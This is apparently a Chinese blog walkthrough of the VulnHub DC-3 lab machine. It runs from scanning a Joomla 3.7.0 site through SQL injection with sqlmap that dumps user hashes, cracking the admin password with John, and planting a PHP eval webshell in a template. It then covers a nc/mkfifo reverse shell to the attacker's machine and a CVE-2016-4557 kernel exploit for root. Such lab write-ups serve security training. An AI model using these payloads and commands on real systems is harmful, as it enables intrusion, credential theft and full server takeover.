DC3通关详解

一.DC3环境

1.先去下载DC2靶机,下载地:https://download.vulnhub.com/dc/DC-3-2.zip

2.我们的实验环境依旧是kali虚拟机

二.DC3通关

1.首先打开虚拟机进行,信息收集

DC1和DC3前几步差不多,我们同样不知道DC3的IP地址利用ifconfig查看自己的虚拟机ip

-sP是只扫描在线的主机,不扫描端口nmap -sP 192.168.211.0/24(每个人的IP都不相同)

本机IP为192.168.211.128

所以分析可得靶机IP为192.168.211.131

192.168.211.1    wm8网卡

192.168.211.2    网关

192.168.211.131  靶机

192.168.211.254  DHCP服务器

192.168.211.128  kali本机

2.收集信息,查看端口和服务

-A所有信息(系统版本有哪些端口等等)

-v他会给出扫描过程中的详细信息 -p指定地址或端口

nmap -A -p- -v 192.168.***.***(后两位是DC3的IP同样每人不相同)

发现了80端口,存在wed服务Apache/2.4.18,CMS为Joomla

3.访问web站点(DC3的ip)

192.168.***.***(这里是你们DC3的ip)

他告诉我们DC3实验只有一个目标获得root权限

4.利用joomscan进行扫描获取后台地址

我们前面用nmap进行扫描时就已经发现了中间件为joomla,所以我们可以用joomscan进行扫描,如不是那我们可以用目录扫描或者是nikto等工具进行扫描,发现更多信息。

(1.)JoomScan简介

OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。

(2.)JoomScan简单使用

执行默认检测:

perl joomscan.pl --url www.example.com

perl joomscan.pl -u www.example.com

枚举已安装的组件:

perl joomscan.pl --url www.example.com --enumerate-components

perl joomscan.pl -u www.example.com –ec

设置cookie:

perl joomscan.pl --url www.example.com --cookie "test=demo;"

设置user-agent:

perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

设置随机user-agent

perl joomscan.pl -u www.example.com --random-agent

perl joomscan.pl --url www.example.com -r

更新JoomScan:

perl joomscan.pl –update

5.joomscan扫描

joomscan --url http://192.168.211.131提示没有joomscan 选择y安装

之后根据提示输入apt install joomscan,出现(大概意思就是否执行输入y即可)

joomscan --url http://192.168.211.131(再次输入就可以进行扫描了)

知道了joomla cms版本3.7.0

得到了网站后台地址http://192.168.211.131/administrator/

6.利用nikto进行扫描获得后台地址

nikto --url http://192.168.211.131/(目录扫描)

7.查找漏洞发现存在SQL注入

(1)前面知道了cms为joomla,版本为3.7.0,用searchsploit检查到有对应的漏洞

searchsploit joomla 3.7.0(查看漏洞)

发现有一个SQL注入,还存在一个XSS

(2)我们还可以查看一下这个漏洞的提示信息

searchsploit -m 42033.txt(查看漏洞提示信息)

(3)红框中是提示信息的所在地我们用cat(查看)

cat 42033.txt(查看)

(4)我们看到了POC,我们验证一下,把localhost修改为我们的DC3IP就行

http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示,数据库语句错误,说明进行了拼接,存在SQL注入

8.sqlmap跑出数据

(1)跑出所有的数据库

sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch

扫描结果

成功把数据库报出来了

(2)获取当前所处数据库名称joomladb

sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch(爆出当前所处的数据库名称)

(3)爆出当前数据库的所有表名

sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch

观察表名很显然我们会看#_users这张表

(4)查看joomladb的users表的字段名

sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项输入y回车

第二个也是直接y回车

第三个这个一二都行我这里选择1

第四个这里是第10个线程

最中出来了六个字段

第五个查看目标字段username(账号)和password(密码)

sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

获得结果如下

9.利用John爆破密码snoopy

使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。

创建一个1.txt,把加密的密码字段写入

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > 1.txt(创建)

cat 1.txt(查看)

使用john破解出admin密码是snoop

john 1.txt(破解密码)

10.利用破解到的账号和密码进行登录

http://192.168.211.131/administrator/

admin(账号)/snoopy(密码)

登录成功

11.上传webshell

发现一个上传点

点击Beez3 Details and Files进入

点击newfiles(上传文件或创建)

这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑

要上传木马,我们先要找到当前文件所在的目录:

http://192.168.211.131/templates/beez3/html/

回到刚才的页面点击new file

在html下创建一个php文件,名字叫做shell

创建完成之后会跳到编辑页面,然后我们输入php一句话,然后点击左上角绿色的save进行保存

<?php

echo ("密码是a");

@eval($_REQUEST [a]);

?>

再次访问http://192.168.211.131/templates/beez3/html/


发现多了一个shell.php文件,我们访问一下

http://192.168.211.131/templates/beez3/html/shell.php

访问webshell,得到我们设置的内容,文件上传成功

12.蚁剑管理webshell

打开蚁剑,鼠标右键添加数据

http://192.168.211.131/templates/beez3/html/shell.php

连接密码a

之后再点击添加

鼠标右键进入虚拟终端

执行whoami查询我权限,是www-data权限

13.反弹shell到kali(虚拟机)

蚁剑看到的终端不如kali清晰,反弹一个shell到kali(虚拟机)

(1)kali(虚拟机)监听

nc -lvvp 1234

(2)靶机连接

回到蚁剑终端

nc -e /bin/bash 192.168.211.128 1234(这里用到的地址是虚拟机的不是DC3的)

发现-e参数不可用

使用如下目录连接(这里用到的地址是虚拟机的不是DC3的)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.211.128 1234 >/tmp/f

回到虚拟机查看

连接成功(如不成功多试几次rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.211.128 1234 >/tmp/f)

14.创建交互式shell

经常用shell的都知道这个shell不好用,我们建立一个交互式shell常用的就是python创建交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

ls(查看)

15.使用辅助脚本发现提权漏洞

(1)下载辅助脚本Linux-Exploit-Suggester.sh

下载地址:GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

上传完成回到虚拟机

ls(查看)

发现漏洞linux-exploit-suggester.sh

发现没有执行权限,我们给他加个执行文件

chmod +x linux-exploit-suggester.sh

ls -l linux-exploit-suggester.sh

执行脚本

./linux-exploit-suggester.sh

发现很多可利用漏洞

16.使用辅助脚本提权

(1)获取提权脚本

上面发现了很多漏洞,这里我们挑一个进行提权

挑选CVE-2016-4557

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

在图片里可以看到是一个39772的文件,如给出的那个地址无法下载

也可以去searchsploit里面去看看 

Searchsploit -m 39772.txt


cat 39772.txt(查看)

如地址根上面一样也不能使用

可以使用下面地址直接下载

bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab

ls(查看)

unzip 39772.zip(解压)

cd 39772(进入)

ls(查看)

tar -xvf exploit.tar(打开文件)

cd ebpf_mapfd_doubleput_exploit(进入)

ls(查看)

提权

./compile.sh(第一次提权)

./doubleput.c(第二次)

ls(查看)

./doubleput(最后一次)

执行完成,提权成功

获得root权限

whoami

17.发现the-flag.txt文件

进入root权限

cd /root(进入)

ls(查看)

cat the-flag.txt(打开)

I hope you've enjoyed this challenge as I enjoyed making it.

我希望你喜欢这个挑战,因为我喜欢做它。

If there are any ways that I can improve these little challenges,

please let me know.

如果有什么方法可以让我改善这些小挑战, 请告诉我。

As per usual, comments and complaints can be sent via Twitter to @DCAU7

和往常一样,评论和投诉可以通过推特发送到@DCAU7

Have a great day!!!!

祝你有美好的一天!!!!

大致的意思就是你已经通关了DC3,(那DC3就到这了大家拜拜~)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值